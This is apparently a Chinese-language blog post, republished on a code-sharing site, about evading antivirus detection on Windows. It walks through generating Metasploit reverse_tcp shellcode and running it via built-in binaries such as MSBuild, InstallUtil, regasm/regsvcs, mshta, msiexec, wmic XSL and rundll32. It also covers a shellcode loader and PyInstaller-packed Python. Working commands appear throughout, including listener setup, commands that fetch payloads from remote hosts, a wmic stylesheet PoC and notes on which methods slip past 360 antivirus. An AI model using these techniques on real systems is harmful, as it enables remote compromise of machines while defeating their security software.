這篇文章就總結一下關於免殺的方法


免殺學習之使用msbuild來執行payload

什么是msbuild

msbuild是Microsoft和Visual Studio的生成系統,簡單地說,這個就是用來編譯你的項目,也就是所謂的編譯器。MSBuild可在未安裝Visual Studio的環境中編譯.net的工程文件,MSBuild可可以編譯特定格式的xml文件。總結來說msbuild可以編譯執行csharp代碼。

存儲路徑

加載32位的shellcode需要32位的msbuild

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

加載64位的shellcode需要64位的msbuild

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

生成shellcode並執行

這里面我們使用msf來生成64位shellcode(沒有32位的機器,尷尬QAQ)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp

使用別人的模板

https://github.com/3gstudent/msbuild-inline-task.git

使用executes x64 shellcode.xml這個模板(我是64位的機器),將45行的shellcode改為msf生成的shellcode(注意變量名)

msf設置為監聽狀態

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

然后在目標機器上執行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

后記:win10有內存保護,不允許寫進shellcode。這里面我的win7和win2008是沒有v4.0.30319這個目錄的,其他的目錄雖然也有msbuild但是用不了,編譯的時候報錯。

暫時沒有使用成功。

installutil.exe和csc.exe的使用

什么是installutil

installer工具是一個命令行實用工具,允許您通過執行指定程序集中的安裝程序組件來安裝和卸載服務器資源。此工具與System.Configuration.Install命名空間中的類一起使用。(應該是c#)

使用msf生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp

下載別人的Installutil-shellcode的cs文件,將里面的shellcode替換為我們的。

文件

使用csc編譯

csc就是一個自帶的c#的編譯器

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

后記:生成的后綴可以自定義,但是需要用installutil來使用

使用installUtil來執行二進制文件

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

成功會反彈shell.但是360會攔截下來,需要點同意。emmmm

regasm和regsvcs的使用

兩者的使用方式是一樣的,並且於上文是相同的

  • 同樣需要下載一些東西
  • msf中生成shellcode,並放入cs文件中
  • 編譯(使用csc編譯,不過必須編譯為dlll才可以)
  • 執行(使用regasm和regsvcs)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

執行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
或者
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll

這里面我們沒有簽名工具sn,暫時先放着吧

使用mshta

這個就比較好利用了,因為這個是在環境變量里面的。

  • msf生成shellcode msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f raw > shellcode.bin
  • shellcode進行base64加密 cat shellcode.bin | base64 -w 0

下載文件

' ---------- DO NOT EDIT BELOW HERE -----------上面包起來的base64替換掉。

web服務部署一下

目標機上執行 mshta.exe http://xxx/shellcode.hta

NB,直接上線,360沒有任何反應!!!!

cobal strike中也有這個功能

使用Msiexec

Msiexec是Windows Installer的一部分,用於安裝Windows Installer安裝包(MSI),一般在運行 Microsoft Update 安裝更新或安裝部分軟件的時候出現,占用內存比較大。並且集成於 Windows 2003,Windows 7 等。

Msiexec已經被添加到了環境變量里面了。

  • msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f msi > shellcode.txt
  • 目標機器執行命令
msiexec.exe /q /i http://192.168.22.1:12345/shellcode.txt

后記:360會攔截。提示msi下載攻擊

wmic

已經在環境變量里面了

wmic os get /FORMAT:"http://example.com/evil.xsl"

poc

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]> </ms:script>
</stylesheet>

擴展

https://3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

后記:360會攔截,說是wmic攻擊

利用Rundll32.exe

Rundll32.exe是指"執行32位的DLL文件"。它的作用是執行DLL文件中的內部函數,功能就是以命令行的方式調用動態鏈接程序庫。已經加入環境變量。

  • 執行自定義的
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

后記:會被攔截

使用shellcode loader

借助第三方加載器,將shellcode加載到內存中來執行。

下載地址

  • msf生成shellcode msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶機執行

shellcode_launcher.exe -i test.c

靶機上線

后記:360並不會攔截。有點厲害。

使用偏僻語言(py和go等等)

使用偏僻語言的好處就在於,讓殺軟識別不了程序的pe頭。

  • msf生成py木馬

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -e x86/shikata_ga_nai -i 5 -f py -o shellcode.py

  • 使用pyinstaller打包

pyinstaller -F --console shellcode.py

沒有這個的話就 pip install pyinstaller 安裝一下

這里面有個坑,你用什么系統編譯的就只能在上面系統上執行.

點擊生成的二進制文件.木馬上線。

使用Go語言

暫時沒整這個環境


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM